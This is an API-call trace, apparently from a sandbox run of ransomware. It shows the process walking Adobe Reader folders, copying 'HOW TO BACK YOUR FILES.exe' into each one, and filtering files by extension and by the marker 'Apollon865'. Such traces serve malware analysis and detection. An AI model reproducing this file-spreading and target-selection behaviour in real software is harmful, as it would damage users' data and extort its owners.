	[0060.217] lstrlenW (lpString=".lnk") returned 4
	[0060.217] lstrcmpiW (lpString1="license.html", lpString2=".lnk") returned 1
	[0060.217] lstrlenW (lpString=".ini") returned 4
	[0060.217] lstrcmpiW (lpString1="license.html", lpString2=".ini") returned 1
	[0060.217] lstrlenW (lpString=".sys") returned 4
	[0060.217] lstrcmpiW (lpString1="license.html", lpString2=".sys") returned 1
	[0060.217] lstrlenW (lpString="license.html") returned 12
	[0060.217] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS"
	[0060.217] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591840 | out: hHeap=0x580000) returned 1
	[0060.217] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0060.217] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS") returned 57
	[0060.217] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS"
	[0060.217] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.217] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.223] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.223] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3bf82f70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3bf82f70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.224] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.224] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.224] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="eula.ini" | out: lpString1="eula.ini") returned="eula.ini"
	[0060.224] lstrlenW (lpString="eula.ini") returned 8
	[0060.224] lstrlenW (lpString="Apollon865") returned 10
	[0060.224] lstrlenW (lpString=".dll") returned 4
	[0060.224] lstrcmpiW (lpString1="eula.ini", lpString2=".dll") returned 1
	[0060.224] lstrlenW (lpString=".lnk") returned 4
	[0060.224] lstrcmpiW (lpString1="eula.ini", lpString2=".lnk") returned 1
	[0060.224] lstrlenW (lpString=".ini") returned 4
	[0060.224] lstrcmpiW (lpString1="eula.ini", lpString2=".ini") returned 1
	[0060.224] lstrlenW (lpString=".sys") returned 4
	[0060.224] lstrcmpiW (lpString1="eula.ini", lpString2=".sys") returned 1
	[0060.224] lstrlenW (lpString="eula.ini") returned 8
	[0060.224] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="license.html" | out: lpString1="license.html") returned="license.html"
	[0060.224] lstrlenW (lpString="license.html") returned 12
	[0060.224] lstrlenW (lpString="Apollon865") returned 10
	[0060.224] lstrcmpiW (lpString1="cense.html", lpString2="Apollon865") returned 1
	[0060.224] lstrlenW (lpString=".dll") returned 4
	[0060.224] lstrcmpiW (lpString1="license.html", lpString2=".dll") returned 1
	[0060.224] lstrlenW (lpString=".lnk") returned 4
	[0060.224] lstrcmpiW (lpString1="license.html", lpString2=".lnk") returned 1
	[0060.224] lstrlenW (lpString=".ini") returned 4
	[0060.224] lstrcmpiW (lpString1="license.html", lpString2=".ini") returned 1
	[0060.224] lstrlenW (lpString=".sys") returned 4
	[0060.224] lstrcmpiW (lpString1="license.html", lpString2=".sys") returned 1
	[0060.224] lstrlenW (lpString="license.html") returned 12
	[0060.225] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT"
	[0060.225] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5917c0 | out: hHeap=0x580000) returned 1
	[0060.225] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0060.225] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT") returned 57
	[0060.225] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT"
	[0060.225] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.225] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.229] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.229] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3bf82f70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3bf82f70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.229] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.229] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.229] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="eula.ini" | out: lpString1="eula.ini") returned="eula.ini"
	[0060.229] lstrlenW (lpString="eula.ini") returned 8
	[0060.229] lstrlenW (lpString="Apollon865") returned 10
	[0060.229] lstrlenW (lpString=".dll") returned 4
	[0060.229] lstrcmpiW (lpString1="eula.ini", lpString2=".dll") returned 1
	[0060.229] lstrlenW (lpString=".lnk") returned 4
	[0060.229] lstrcmpiW (lpString1="eula.ini", lpString2=".lnk") returned 1
	[0060.229] lstrlenW (lpString=".ini") returned 4
	[0060.229] lstrcmpiW (lpString1="eula.ini", lpString2=".ini") returned 1
	[0060.229] lstrlenW (lpString=".sys") returned 4
	[0060.229] lstrcmpiW (lpString1="eula.ini", lpString2=".sys") returned 1
	[0060.229] lstrlenW (lpString="eula.ini") returned 8
	[0060.229] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="license.html" | out: lpString1="license.html") returned="license.html"
	[0060.229] lstrlenW (lpString="license.html") returned 12
	[0060.229] lstrlenW (lpString="Apollon865") returned 10
	[0060.229] lstrcmpiW (lpString1="cense.html", lpString2="Apollon865") returned 1
	[0060.230] lstrlenW (lpString=".dll") returned 4
	[0060.230] lstrcmpiW (lpString1="license.html", lpString2=".dll") returned 1
	[0060.230] lstrlenW (lpString=".lnk") returned 4
	[0060.230] lstrcmpiW (lpString1="license.html", lpString2=".lnk") returned 1
	[0060.230] lstrlenW (lpString=".ini") returned 4
	[0060.230] lstrcmpiW (lpString1="license.html", lpString2=".ini") returned 1
	[0060.230] lstrlenW (lpString=".sys") returned 4
	[0060.230] lstrcmpiW (lpString1="license.html", lpString2=".sys") returned 1
	[0060.230] lstrlenW (lpString="license.html") returned 12
	[0060.230] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts"
	[0060.230] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591740 | out: hHeap=0x580000) returned 1
	[0060.230] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0060.230] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts") returned 59
	[0060.230] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts"
	[0060.230] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.230] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.240] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.240] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3bf82f70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3bf82f70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.241] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.241] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.241] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="JSByteCodeWin.bin" | out: lpString1="JSByteCodeWin.bin") returned="JSByteCodeWin.bin"
	[0060.241] lstrlenW (lpString="JSByteCodeWin.bin") returned 17
	[0060.241] lstrlenW (lpString="Apollon865") returned 10
	[0060.241] lstrcmpiW (lpString1="odeWin.bin", lpString2="Apollon865") returned 1
	[0060.241] lstrlenW (lpString=".dll") returned 4
	[0060.241] lstrcmpiW (lpString1="JSByteCodeWin.bin", lpString2=".dll") returned 1
	[0060.241] lstrlenW (lpString=".lnk") returned 4
	[0060.241] lstrcmpiW (lpString1="JSByteCodeWin.bin", lpString2=".lnk") returned 1
	[0060.241] lstrlenW (lpString=".ini") returned 4
	[0060.241] lstrcmpiW (lpString1="JSByteCodeWin.bin", lpString2=".ini") returned 1
	[0060.241] lstrlenW (lpString=".sys") returned 4
	[0060.241] lstrcmpiW (lpString1="JSByteCodeWin.bin", lpString2=".sys") returned 1
	[0060.241] lstrlenW (lpString="JSByteCodeWin.bin") returned 17
	[0060.241] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates"
	[0060.241] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0060.241] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0060.241] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates") returned 59
	[0060.241] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates"
	[0060.241] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.242] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.252] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.252] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3bfa90d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3bfa90d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.252] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.252] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.252] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="CAT" | out: lpString1="CAT") returned="CAT"
	[0060.252] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7948
	[0060.252] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf788
	[0060.252] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7950 | out: ListHead=0x5b76b0, ListEntry=0x5b7950) returned 0x5b7930
	[0060.252] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CHS", cAlternateFileName="")) returned 1
	[0060.252] lstrcmpiW (lpString1="CHS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.252] lstrcmpiW (lpString1="CHS", lpString2="Apollon865.txt.exe") returned 1
	[0060.252] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="CHS" | out: lpString1="CHS") returned="CHS"
	[0060.252] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0060.252] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf4e0
	[0060.252] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7970 | out: ListHead=0x5b76b0, ListEntry=0x5b7970) returned 0x5b7950
	[0060.252] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CHT", cAlternateFileName="")) returned 1
	[0060.252] lstrcmpiW (lpString1="CHT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.252] lstrcmpiW (lpString1="CHT", lpString2="Apollon865.txt.exe") returned 1
	[0060.252] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="CHT" | out: lpString1="CHT") returned="CHT"
	[0060.252] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0060.252] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf700
	[0060.252] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b70 | out: ListHead=0x5b76b0, ListEntry=0x5b7b70) returned 0x5b7970
	[0060.252] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CZE", cAlternateFileName="")) returned 1
	[0060.253] lstrcmpiW (lpString1="CZE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.253] lstrcmpiW (lpString1="CZE", lpString2="Apollon865.txt.exe") returned 1
	[0060.253] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="CZE" | out: lpString1="CZE") returned="CZE"
	[0060.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0060.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf5f0
	[0060.253] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7b70
	[0060.253] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80378de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80378de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DAN", cAlternateFileName="")) returned 1
	[0060.253] lstrcmpiW (lpString1="DAN", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.253] lstrcmpiW (lpString1="DAN", lpString2="Apollon865.txt.exe") returned 1
	[0060.253] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="DAN" | out: lpString1="DAN") returned="DAN"
	[0060.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0060.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf678
	[0060.253] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7b10
	[0060.253] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DEU", cAlternateFileName="")) returned 1
	[0060.253] lstrcmpiW (lpString1="DEU", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.253] lstrcmpiW (lpString1="DEU", lpString2="Apollon865.txt.exe") returned 1
	[0060.253] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="DEU" | out: lpString1="DEU") returned="DEU"
	[0060.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0060.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf810
	[0060.253] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0060.253] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8058e120, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1
	[0060.253] lstrcmpiW (lpString1="ENU", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.253] lstrcmpiW (lpString1="ENU", lpString2="Apollon865.txt.exe") returned 1
	[0060.253] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="ENU" | out: lpString1="ENU") returned="ENU"
	[0060.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0060.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf9a8
	[0060.253] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0060.253] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESP", cAlternateFileName="")) returned 1
	[0060.253] lstrcmpiW (lpString1="ESP", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.254] lstrcmpiW (lpString1="ESP", lpString2="Apollon865.txt.exe") returned 1
	[0060.254] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="ESP" | out: lpString1="ESP") returned="ESP"
	[0060.254] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0060.254] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf920
	[0060.254] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0060.254] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EUQ", cAlternateFileName="")) returned 1
	[0060.254] lstrcmpiW (lpString1="EUQ", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.254] lstrcmpiW (lpString1="EUQ", lpString2="Apollon865.txt.exe") returned 1
	[0060.254] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="EUQ" | out: lpString1="EUQ") returned="EUQ"
	[0060.254] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0060.254] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bfa30
	[0060.254] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b90 | out: ListHead=0x5b76b0, ListEntry=0x5b7b90) returned 0x5b7a70
	[0060.254] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FRA", cAlternateFileName="")) returned 1
	[0060.254] lstrcmpiW (lpString1="FRA", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.254] lstrcmpiW (lpString1="FRA", lpString2="Apollon865.txt.exe") returned 1
	[0060.254] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="FRA" | out: lpString1="FRA") returned="FRA"
	[0060.254] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7bc8
	[0060.254] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bfab8
	[0060.254] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bd0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bd0) returned 0x5b7b90
	[0060.254] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bfa90d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3bfa90d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0060.254] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
